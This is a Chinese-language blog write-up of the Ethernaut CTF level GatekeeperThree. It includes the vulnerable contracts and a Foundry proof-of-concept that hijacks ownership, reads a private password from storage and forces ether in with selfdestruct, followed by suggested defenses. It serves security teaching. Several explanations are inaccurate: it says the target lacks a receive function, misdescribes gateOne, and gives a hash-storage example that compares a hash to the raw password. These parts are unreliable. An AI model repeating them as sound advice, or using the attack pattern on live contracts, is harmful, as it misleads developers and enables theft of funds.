Ethernaut学习之路 GateKeeperThree

  • Lori
  • 更新于 2024-02-28 20:39
  • 阅读 1109

Ethernaut Solutions-GateKeeperThree 合约分析以及相应PoC

Ethernaut Solutions

on my Github 我通过Ethernaut学习了智能合约漏洞,并进行了安全分析,我还提出了一些防御措施,以帮助其他开发者更好地保护他们的智能合约,鉴于网络上教程较多,我着重分享1~19题里难度四星以上以及20题及以后的题目。

About Ethernaut

  • Ethernaut 是由 Zeppelin 开发并维护的一个平台。,上面有很多包含了以太坊经典漏洞的合约,以类似 CTF 题目的方式呈现给我们。每个挑战都涉及到以太坊智能合约的各种安全漏洞和最佳实践,并提供了一个交互式的环境,让用户能够实际操作并解决这些挑战。Ethernaut 不仅适用于新手入门,也适用于有经验的开发者深入学习智能合约安全。

  • 平台网址:https://ethernaut.zeppelin.solutions/

    GateKeeperThree合约分析

    攻击分析

  • ctf 网址:https://ethernaut.openzeppelin.com/level/0x653239b3b3E67BC0ec1Df7835DA2d38761FfD882

  • 攻击类型:访问权限控制

  • 目标:进入合约,将 entrant 更改成 deployer

  • 要求:满足三个 modifier 条件

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleTrick {
  GatekeeperThree public target;
  address public trick;
  uint private password = block.timestamp;

  constructor (address payable _target) {
    target = GatekeeperThree(_target);
  }

  function checkPassword(uint _password) public returns (bool) {
    if (_password == password) {
      return true;
    }
    password = block.timestamp;
    return false;
  }

  function trickInit() public {
    trick = address(this);
  }

  function trickyTrick() public {
    if (address(this) == msg.sender && address(this) != trick) {
      target.getAllowance(password);
    }
  }
}

contract GatekeeperThree {
  address public owner;
  address public entrant;
  bool public allowEntrance;

  SimpleTrick public trick;

  function construct0r() public {
      owner = msg.sender;
  }

  modifier gateOne() {
    require(msg.sender == owner);
    require(tx.origin != owner);
    _;
  }

  modifier gateTwo() {
    require(allowEntrance == true);
    _;
  }

  modifier gateThree() {
    if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
      _;
    }
  }

  function getAllowance(uint _password) public {
    if (trick.checkPassword(_password)) {
        allowEntrance = true;
    }
  }

  function createTrick() public {
    trick = new SimpleTrick(payable(address(this)));
    trick.trickInit();
  }

  function enter() public gateOne gateTwo gateThree {
    entrant = tx.origin;
  }

  receive () external payable {}
}

这个与 GateKeeperOne, GateKeeperTwo 类似, 这个 ctf 稍微难一些,让我们一块看一下。

  1. gateOne gateOne 要求调用者不是合约地址,并且调用者不是合约的 owner。通过阅读 GatekeeperThree 合约里发现ownerconstruct0r()进行设置,该函数是 public,任何人都能进行调用。我们通过将 Attack 合约调用 GatekeeperThree.construct0r()来将攻击合约地址设置为owner,之后我们通过合约去调用GateKeeperOne.enter()就能进入 gateOne。

    我猜测可能是开发者一不小心将 constructor()写成了constructor(),导致任何人都能调用。 在Solidity 0.4.22之前,可以使用 constructor 关键字来声明构造函数并且可以添加 public 作为修饰符,但这种做法已被弃用。 在 Solidity 0.8.0 版本,如果将构造函数声明为 public,编译器将会抛出错误,构造函数始终是在合约部署时自动调用的,而不是在合约生命周期内由外部调用的。

  2. gateTwo gateTwo要求 allowEntrance 为 true。 在这个合约中,allowEntrance 设置为 true 需要通过调用 GateKeeperOne.getAllowance 函数, GateKeeperOne 合约再通过调用trick.checkPassword(_password),由 trick 合约的 checkPassword 函数需要判断传入的_password 是否与合约存储的私有变量 password 相同。 如何去获取 password 呢,trick 合约里 password 是私有变量,无法直接读取,这真的是private吗?

    solidity的 storage 存储方式有以下特点:
    1.  存储在 storage 中的数据是永久性存储的,以键值对的形式存储在插槽(slot)中。
    2. 数据在插槽中从右向左排列。当当前插槽空间不足时,会打包当前插槽,并开启下一个插槽来存储数据。对于存储定长数组(长度固定)的情况,数组中的每个元素占据一个插槽。
    3. 存储变长数组(长度随元素数量而改变)时比较特殊。在遇到变长数组时,会先启用一个新的插槽(slotA)来存储数组的长度,而数组的实际数据则存储在另一个编号为 slotV 的插槽中。

    我们知道链上数据都是公开可读的,不存在真正的 private,理解slot的概念和状态变量在储存中的布局,我们一旦知道合约地址和变量对应 slot,就可以读取任意变量。

    foundry 提供了通过 slot 读取变量的方法vm.load(address,slot)

  3. gateThree gateThree 要求合约的余额大于 0.001 ether。 首先,了解常见转账方式有send,transfer,call{value:value}(),使用这些方式对合约进行转账需要对方合约有 fallback 和 receive 函数,而通过阅读 GateKeeperOne 合约发现其中并没有这两个函数,还有什么方式还能向合约进行转 eth 呢?

    1. 合约可以通过selfdestruct(address payable recipient)来销毁合约,并把合约余额转账给 recipient;
    2. 矿工(现在是 builder 和 proposer)接收区块奖励,将奖励地址设置为合约地址。

    这块我们选择较为简单的方式,通过selfdestruct(address payable recipient)来销毁合约。

Proof of Concept

根据以上分析,完整的 PoC 代码如下:

contract Attack {
    address public target;
    constructor(address _target){
        target = _target;
    }

    function StepOne() public {
        (bool success,) = target.call(abi.encodeWithSignature("construct0r()"));
        require(success, "Failed to call construct0r");
    }

    function stepTwo() public {
        (bool success,) = target.call(abi.encodeWithSignature("enter()"));
        require(success, "Failed to call enter");
    }
}

contract Self {
    function attack(address _victim) public{
        selfdestruct(payable(_victim));
    }

    receive() external payable {}
}

contract GatekeeperThreeTest is BaseTest {
    GatekeeperThree gatekeeperThree = GatekeeperThree(contractAddress);
    // GatekeeperThree gatekeeperThree = new GatekeeperThree();

    function run() external {
        vm.startBroadcast(deployer);
        Attack attack = new Attack(contractAddress);
        gatekeeperThree.createTrick();
        SimpleTrick trick = gatekeeperThree.trick();

        // gateOne
        attack.StepOne();

        // gateTwo
        uint _password = uint(vm.load(address(trick), bytes32(uint256(2))));
        gatekeeperThree.getAllowance(_password);
        assert(gatekeeperThree.allowEntrance() == true);

        // gateThree
        Self self = new Self();
        address(self).call{value: 0.001001 ether}("");
        self.attack(address(gatekeeperThree));

        attack.stepTwo();

        assert(gatekeeperThree.entrant() == deployer);
    }
}

防御措施

  1. 在合约中存储密码时,直接将密码存储在合约的存储变量中。这种方法存在风险,因为存储在区块链上的数据是公开可见的,可能会被攻击者获取,因此,不建议直接存储原始密码,以下是一些常见的存储密码的方法: a. 哈希存储: 存储密码的常见做法是将密码进行哈希处理,然后将哈希值存储在合约中。这样做可以避免直接存储原始密码,提高安全性。常用的哈希算法包括 SHA-256、keccak256 等。例如:

    contract PasswordManager {
      mapping(address => bytes32) private passwordHashes;
    
      function setPassword(bytes32 hash) public {
          passwordHashes[msg.sender] = hash;
      }
    
      function verifyPassword(bytes32 password) public view returns (bool) {
          return passwordHashes[msg.sender] == password;
      }
    }

    b. 加密存储: 可以使用对称或非对称加密算法对密码进行加密后再存储。只有合约的授权用户才能解密密码。这种方法提供了更高级别的安全性,但也增加了复杂性。例如:

     contract PasswordManager {
         mapping(address => bytes) private encryptedPasswords;
    
         function setPassword(bytes encryptedPassword) public {
             encryptedPasswords[msg.sender] = encryptedPassword;
         }
    
         function verifyPassword(bytes password) public view returns (bool) {
             // 解密 encryptedPasswords[msg.sender],然后与输入密码比较
         }
     }
  2. 避免通过 address.balance 进行权限设置,可以通过设置变量来替代,避免合约被强制转账从而影响正常业务逻辑的可能(比如被 selfdestruct 攻击)。

点赞 1
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

1 条评论

请先 登录 后评论
Lori
Lori
0x3F3c...Dc2F
最近有点儿小忙,更新不频繁~